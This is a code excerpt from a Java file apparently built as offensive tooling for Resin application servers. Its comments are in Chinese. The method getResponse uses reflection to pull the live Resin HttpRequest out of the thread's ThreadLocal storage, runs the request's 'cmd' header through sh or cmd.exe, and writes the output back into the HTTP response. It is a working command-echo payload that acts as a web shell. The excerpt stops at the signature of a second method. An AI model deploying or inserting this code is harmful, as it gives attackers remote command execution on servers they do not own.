Method getResponse

java回显/resin/Echo_HttpRequest.java:25–64

()

    }
    //线程对象中request
    public static void getResponse() throws Exception {
        Thread thread = Thread.currentThread();
        java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
        threadLocals.setAccessible(true);
        Object threadLocalMap = threadLocals.get(thread);

        Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
        java.lang.reflect.Field  tableField = threadLocalMapClazz.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] objects = (Object[]) tableField.get(threadLocalMap);

        Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
        java.lang.reflect.Field  entryValueField = entryClass.getDeclaredField("value");
        entryValueField.setAccessible(true);

        for (Object object : objects) {
            if (object != null) {
                Object valueObject = entryValueField.get(object);
                if (valueObject != null) {
                    if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
                        com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)valueObject;
                        //执行命令
                        String cmd1 = httpRequest.getHeader("cmd");
                        String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
                        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        //response
                        com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
                        httpResponse.setHeader("Content-Length", output.length() + "");
                        java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
                        method.setAccessible(true);
                        com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
                        httpResponseStream.write(output.getBytes(), 0, output.length());
                        httpResponseStream.close();
                    }
                }
            }
        }
    }

    //request对象存储在静态变量或者特定类里
    public static void getResponse2() throws Exception {